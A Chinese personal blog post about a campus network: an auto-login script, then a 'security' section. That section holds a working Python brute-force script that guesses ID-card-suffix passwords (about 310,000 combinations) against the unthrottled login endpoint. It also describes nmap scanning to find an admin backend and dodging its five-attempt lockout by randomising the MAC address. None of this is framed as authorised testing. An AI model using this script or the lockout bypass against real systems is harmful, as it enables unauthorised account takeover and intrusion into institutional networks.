校园网的一些问题

自动登录?暴力破解?ARP渗透?

技术本无罪,善恶在人心

1. 校园网自动登录

  每次电脑开机,WiFi就会自动连接校园网,但是还要进入登录页输入账号密码。有没有比较省事的方法呢,那当然是自己写一个自动登录。
  打开登录页面,输好账号密码,按下F12,选择网络,点击登录按钮,就可以看到浏览器向10.51.2.20:80发送了一个GET请求。也就是说,只要发送这个请求,就能登录校园网了。这个请求有三个必要参数callback、DDDDD(用户名)和upass(密码),后面的都是环境信息,没什么影响。

  Pyhton代码如下

import os

username = "admin"    # 用户名
password = "passwd"   # 密码

base_url = "http://10.51.2.20/drcom/login"
params = {
    "callback": "dr1003",
    "DDDDD": f"{username}@cmcc",
    "upass": password,
}
url = base_url + "?" + "&".join([f"{key}={value}" for key, value in params.items()])

os.system(f"curl \"{url}\"")

  代码非常简短,只有十几行。写好后保存,按住Win+R,打开运行,输入shell:startup,回车,进入启动文件夹,将程序放入即可开机联网自动登录。

  代码写多了,Python文件有的时候是VScode打开,也可以用C写代码,写完后编译成exe文件

#include <windows.h>

int main() 
{
    system("curl \"http://10.51.2.20/drcom/login?callback=dr1003&DDDDD=admin%40cmcc&upass=passwd");
    return 0; 
}

2. 关于校园网安全性

密码的暴力破解

  不难发现,这条请求是HTTP明文发送。浏览器也给出了警告。

  最重要的是,校园网没有设置安全措施,比如说登陆次数过多强制等待、验证码等。这就可以用暴力方法破解密码,已知密码为身份证后六位,那么密码前两位即为日期01-31,后四位为随机数0000-9999,若不算身份证后带X的,总可能数为310000.经过测试与推算,大约全部试完需要28h.请求也不能发的太快,不然就成了DoS攻击了,服务器来不及处理请求。

  Python代码如下

import requests
import re
import os

url = "http://10.0.100.2/drcom/login"

found_password = None 
for first_two_digits in range(1, 32):  
    if found_password:
        break  
    for last_four_digits in range(0, 10000):  
        upass = f"{first_two_digits:02}{last_four_digits:04}"
        
        params = {
            "callback": "dr1003",
            "DDDDD": "admin",
            "upass": upass
        }
        
        try:
            response = requests.get(url, params=params)
            
            result_match = re.search(r'"result":(\d+)', response.text)
            if result_match:
                result = int(result_match.group(1))
                if result == 1:
                    found_password = upass  
                    print(f"成功登录,密码为: {upass}")
                    break
                else:
                    print(f"尝试密码: {upass},登录失败")
            else:
                print(f"无法解析响应:{response.text}")
        except Exception as e:
            print(f"发生异常")

os.system("pause")

后台管理系统

  用nmap扫描一下登录的IP地址,很轻松就发现了后台管理端口。进去发现有登录次数限制,每天仅能试错五次。我想起校园网的IP地址是根据MAC用DHCP协议随机分配的,于是我勾选了使用随机MAC地址这个选项,断开网络重新连接,发现试错次数又变成5了……但密码的位数至少是六位,至少这个措施还是有点用的……

添加新评论